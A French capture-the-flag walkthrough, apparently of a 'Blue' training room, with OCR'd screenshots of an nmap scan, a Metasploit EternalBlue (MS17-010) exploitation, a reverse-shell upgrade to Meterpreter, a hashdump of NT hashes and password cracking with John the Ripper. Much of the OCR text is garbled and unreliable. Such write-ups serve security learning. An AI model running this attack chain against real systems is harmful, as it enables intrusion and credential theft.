1) Scan des ports
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3 ports 
2)  Scan des vulnérabilités : 
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Résultat : 
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Ms17-010
3) Démarrer la console metasploit : msfconsole
4)  Lancer ensuite une recherche sur la console :  search ms17-010
Résultat :
[image: ]

exploit/windows/smb/ms17_010_eternalblue
5) On va dans le module comprenant le mot détection :
use auxiliary/scanner/smb/smb_ms17_010
Puis on fait un show options
Résultat : 
[image: ]
Il faut définir : RHOST / LHOST /LPORT /RPORT
[image: ]
On doit avoir ce résultat :
[image: ]
6) On met le shell en background :
[image: ]
Ensuite on recherche le shell_to_meterpreter
Puis on utilise le 0 (étant le seul)

Puis on fait un show options 

[image: ]
On répond a la question : (Quelle option doit-on changer ?) SESSION

7) [image: ]
8) On vérifie ensuite les sessions , commande : sessions
On se met sur la session NTAUTHORITY (la 266 pour moi) : sessions 266
[image: ]
Ensuite il faut simplement suivre les commandes qu’on nous demande de faire, et vérifier que tout est fonctionnel

Task 4 :
En faisant hashdump on peut voir quel est l’utilisateur : Jon
[image: ]

On va utiliser hashcat pour trouver le mot de passe 
[image: ]

Pour les flags :
Flag2, on le trouvera dans les fichiers où sont stockés les mots de passe
[image: ]
Le flag1 se trouve dans le root :
[image: ]

[bookmark: _GoBack]Le flag 3 se trouve dans les documents de l’utilisateur :
[image: ]
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>

>
>
>
>

DUt no SESS10n was created.

sellLiosT 10.18.67.12
set LpoRT 445

set RHOST 10.10

set RUOST 10.10.42.205

set RPORT 445
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Shell Banner:
Microsoft Windows [Version 6.1.7601]
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Windows\systen32>
Windows\system32>
C:\Windows\system32>background

Background session 17 [y/N] y
mSF6 exploit( i ions/ i is 1/ 010 cternaliluc) > search shell to_meterpreter

Matching Modules

# Name Disclosure Date Rank  Check Description

0 post/multi/manage/ShElINEONEEETpTEEET normal No  Shell to Meterpreter Upgrade

Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell to_meterpreter

ns£6 exploit(windows/snb/ns17_010_eternalblue) > use @
nSf6 post(iilti/nanage/shell to_neterprater) > show options

Module options (post/multi/manage/shell to_meterpreter):

Name  Current Setting Required Description
HANDLER  true yes start an exploit/multi/handler to receive the connection

LHOST no 1P of host that will receive the connection from the payload (Will try to auto detect)
LPORT 4433 yes Port for payload to connect to.

SESSTON yes The session to run this module on

nsf6 post(multi/manage/shell_to_meterpreter) > [

Activer Windows
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msf6 post(inl i /manaue/shell to neterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

Name  Current Setting Required Description
HANDLER  true yes start an exploit/multi/handler to receive the connection

LHOST no 1P of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.

SESSTON yes The session to run this module on
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nsf6 post(multi/manage/shell_to_meterpreter) > SET LPORT 1234
1 Unknown command: SET

nsf6 post(multi/manage/shell_to_meterpreter) > set LPORT 1234
LPORT = 1234

msf6 post(nulti/manage/shell to neterprater) > set SESSION 1
SESSION = 1

nsf6 post(multi/manage/shell_to_meterpreter) > run

[+] Upgrading session ID: 1

[#] starting exploit/multi/handler

[*] Started reverse TCP handler on 10.18.67.12:1234
[*] Post module execution completed

msf6 post(multi/manage/shell_to_meterpreter) >

[*] Sending stage (200262 bytes) to 10.10.42.206 . n
[+] Meterpreter session 266 opened (10.18.67.12:1234 — £9Cid\i@120A/4BV0ION\EE 2022-03-18 15:12:17 +0100
ﬁ«] Stopping exploit/multi/handler

édez aux paramétres pour activer Windows.
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266 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC T 10.18.67.12:1234 — 10.10.42.206:49707 (10.10.42.206)

mSF6 post(nlti/manage/shell to neterprater) > sessions 266
[+] Starting interaction with 266 ...

Activer Windo

neterpreter > Il
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meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0COBIC
Guest:501:aad3b435b51404eeaad3ba35b51404ee : 31d6cfe0d16ae931b73c59d7e0c0O89CO
Jon:1000:aad3b435b51404eeaad3ba35b51404ee : ffha3fode35be4d9917acoccBads7fad

eterpreter > l
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$ john —format=nt Bureau/blue.txt —wordlist=/usr/share/wordlists/rockyou.

txt

Using default input encoding: UTF-8

Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x31)

Warning: no OpenMP support for this hash type, consider —fork

Press 'q' or Ctrl-C to abort, almost any other key for status
(Administrator)

algfna22 (Jon)

2¢ 0:00:00:00 DONE (2022-03-18 15:53) 3.636/5 18546Kp/S 18546Kc/S 18554KC/S

alr19882006 .. alpusidi

Warning: passwords printed above might not be all those cracked

Use the "—show —format=NT" options to display all of the cracked passwords

reliably

Session completed.
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meterpreter > cd config
meterpreter > ls

Listing: C:\windows\system32\config
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c:\
meterpreter > ls
Listing: C:\

Mode size Type Last modified Name
040777/ rwxruxrux 0 dir  2018-12-13 04:13:36 +0100 $Recycle.Bin

040777/ rwxruxrux 0 dir  2009-07-14 0 +0200 Documents and Settings
040777/ rwxruxrux 0 dir  2009-07-14 05:20:08 +0200 Perflogs
040555/r-xr-xr-x 4096  dir  2019-03-17 23:22:01 +0100 Program Files
040555/r-xr-xr-x 4096  dir  2019-03-17 23:28:38 +0100 Program Files (x86)
040777/rwxrwxrwx 4096  dir  2019-03-17 23:35:57 +0100 ProgramData

040777/ rwxruxrux 0 dir  2018-12-13 04:13:22 +0100 Recovery
040777/rwxrwxrwx 4096  dir  2022-03-18 14:27:39 +0100 System Volume Information
040555/r-xr-xr-x 4096  dir  2018-12-13 04:13:28 +0100 Users

040777/rwxrwxrwx 16384 dir  2022-03-18 15:25:05 +0100 Windows
100666/rw-rw-rw- 24 il  2019-03-17 20:27:21 +0100 flagl.txt

000000/ ——— 0 fif  1970-01-01 01:00:00 +0100 hiberfil.sys

000000/ ———— 0 fif  1970-01-01 01:00:00 +0100 pagefile.sys
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meterpreter > cd documents
meterpreter > 1s
Listin, users\jon\docunents

Mode Size Type Last modified Name
040777/rwxrwxrwx 0 dir  2018-12-13 +0100 My Music
040777/rwxrwxrwx 0 dir  2018-12-13 +0100 My Pictures

040777/Tuxruxrux 0 dir  2018-12-13
100666/rw-rw-rw- 402 fil  2018-12-13
100666/rw-rw-rw- 37  fil  2019-03-17

+0100 My Videos
+0100 desktop. ini
40100 flag3.txt

gaEERR
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nmap -sC -sV -p-1000 10.10.42.206
sStarting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 14314 CET
Nmap scan report for 10.10.42.206
Host is up (0.027s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT  STATE SERVICE VERSTON
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microso
ft-ds (workgroup: WORKGROUP)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Es(.,mms kali)-[~]
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[ (prevert®kati)-[~]
-$ nmap sV —script vuln 10.10.42.206
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 14:17 CET
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I smb-vuln-msi7-010:
| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)
I State: VULNERABLE

I IDs: CVE:CVE-2017-0143

I Risk factor: HIGH
I

B

I

H

A critical remote code execution vulnerability exists in Microsoft sM
v1
servers (ms17-010).

.
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msf6 > search ms17-010

Matching Modules

# Name Disclosure Date Rank  Check Description

0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes EternalBlue SMB Remote Windows Kernel Pool Corruption

1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal  Yes EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal  No EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal  No SMB RCE Detection

4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great  Yes  SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
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msf6 auxiliary(:conner/cnb/onb nel7 010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010)

Name
CHECK_ARCH
CHECK_DOPU
CHECK_PIPE
NAMED_PIPES

RHOSTS

RPORT
‘SMBDomain
SMBPass.
SMBUSer

Ccurrent Setting

true
true

false
/ust/share/metasploit-framework/data
/wordlists/named_pipes.txt

445

Required

no
no
no
yes

yes

yes
no
no
no

Description

Check for architecture on vulnerable hosts
Check for DOUBLEPULSAR on vulnerable hosts
Check for named pipe on vulnerable hosts
List of named pipes to check

The target host(s), see https://github.com/rapid7/metasploit-frame
work/wiki/Using-Metasploit

The SMB service port (TCP)

The Windows domain to use for authentication

The password for the specified usernafie-tiver \\indows

The username to authenticate as
PO





